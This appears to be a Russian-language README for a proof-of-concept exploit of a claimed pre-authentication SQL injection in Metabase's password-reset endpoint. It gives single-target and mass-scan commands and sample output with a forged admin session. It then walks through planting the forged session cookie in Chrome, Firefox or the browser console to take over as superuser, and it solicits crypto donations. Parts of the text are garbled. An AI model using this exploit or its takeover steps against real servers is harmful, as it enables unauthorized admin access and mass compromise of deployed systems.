
PoC-эксплойт для CVE-2026-72898 — неаутентифицированная SQL-инъекция в эндпоинте сброса пароля Metabase. Формирует административную сессию для полного захвата системы, с режимами одиночной цели и массового сканирования для авторизованного тестирования.
SQL-инъекция в Metabase до аутентификации, приводящая к захвату администратора
Концепт-доказательство (PoC) для CVE-2026-72898, критической неаутентифицированной SQL-инъекции в конечной точке сброса пароля Metabase. PoC внедряет поддельную строку сессии администратора в таблицу core_session, а затем использует её для подтверждения полноценной сессии администратора без каких-либо учётных данных.
Примечание: Этот PoC предназначен только для авторизованного тестирования безопасности и исследований. CVE-2026-72898 включён в каталог CISA Known Exploited Vulnerabilities (KEV) и активно эксплуатируется в реальных атаках. Вы несёте ответственность за соблюдение всех применимых законов и получение письменного разрешения перед тестированием любой системы.
requestsУстановка зависимостей:
pip install requests
python cve-2026-72898_poc.py -t http://192.168.1.1:3000
python cve-2026-72898_poc.py -T targets.txt
CVE-2026-72898 | Metabase SQLi PoC
----------------------------------------
Target: http://192.168.1.1:3000
[1] GET http://192.168.1.1:3000/ -> 200
[2] POST /api/session/reset_password -> 400
(expected: Invalid reset token, SQLi executed)
[3] GET /api/user/current -> 200
[+] VULNERABLE
session id : 242x6a6cx-5388-aaf8-bl5c-afi46ic02198
key_hashed : 0f6005cbexf08948c08dd9272b439xfecwabxb4ntedd83bagb6337bx849b6xyi6
admin email: [email protected]
Код 400 на шаге 2 с Invalid reset token — это ожидаемо; он означает, что полезная нагрузка SQLi выполнилась, а ответ был прерван. Возврат 200 на шаге 3 для /api/user/current подтверждает, что поддельная сессия действительна.
Статусы результатов: vulnerable | not_vulnerable | patched | root_not_200 | unknown | error
Metabase считывает свою сессию из cookie-файла `metabase.SESSION`, поэтому вы можете войти в веб-интерфейс как поддельный администратор, добавив этот cookie-файл:
**Google Chrome / Edge / Chromium**
1. Запустите PoC и скопируйте выведенный `session id`
2. Откройте `http://TARGET/` и нажмите `F12` (DevTools)
3. Перейдите в **Application** (в Edge: **Application**; в Chrome: **Application**) → **Storage** → **Cookies** → выберите целевой хост
4. Нажмите кнопку **+** (Add cookie) и заполните:
- **Имя**: `metabase.SESSION`
- **Значение**: `<SESSION_ID>` (значение, выведенное PoC)
- **Домен**: целевой хост/IP (например, `192.168.1.1` или `.example.com`)
- **Путь**: `/`
- Установите срок действия в далёком будущем (или нажмите «Session»)
5. Нажмите **Save**, затем обновите страницу
6. Теперь вы аутентифицированы как суперпользователь — появится значок шестерёнки администратора
**Firefox**
1. Запустите PoC и скопируйте выведенный `session id`
2. Нажмите `F12` → вкладка **Storage** → **Cookies** → выберите целевой хост
3. Щёлкните правой кнопкой мыши → **Add/Edit Cookie** и добавьте:
- **Имя**: `metabase.SESSION`
- **Значение**: `<SESSION_ID>`
- **Путь**: `/`
- **HttpOnly**: не установлен (JS устанавливает его)
- **Secure**: не установлен для обычного HTTP
4. Сохраните и обновите страницу
**Альтернатива: расширение для редактирования cookie**
Используйте любое расширение для редактирования cookie-файлов (например, Cookie-Editor), чтобы добавить cookie `metabase.SESSION` с поддельным значением для целевого домена, затем обновите страницу.
**Из консоли браузера**
```js
fetch('/api/user/current', { headers: { 'X-Metabase-Session': '<SESSION_ID>' } })
.then(r => r.json()).then(console.log)
/api/session/reset_password на уровне сети/WAFЕсли этот проект помог вам, поддержите его разработку:
TDCPYioWbZW4iyMCuHhJeFsUZJ88YqZWc1

0xf6eA555f95ed5b356fF7a90E6461EbBF6ce105cE

| Аргумент | Описание | По умолчанию |
|---|
-t, --target | URL одиночной цели | - |
-T, --targets | Файл с URL-адресами целей, по одному на строку | - |
-o, --output | Файл с результатами (разделитель — табуляция: target, result, status, session_id, admin_email) | - |
--timeout | Таймаут запроса в секундах | 15 |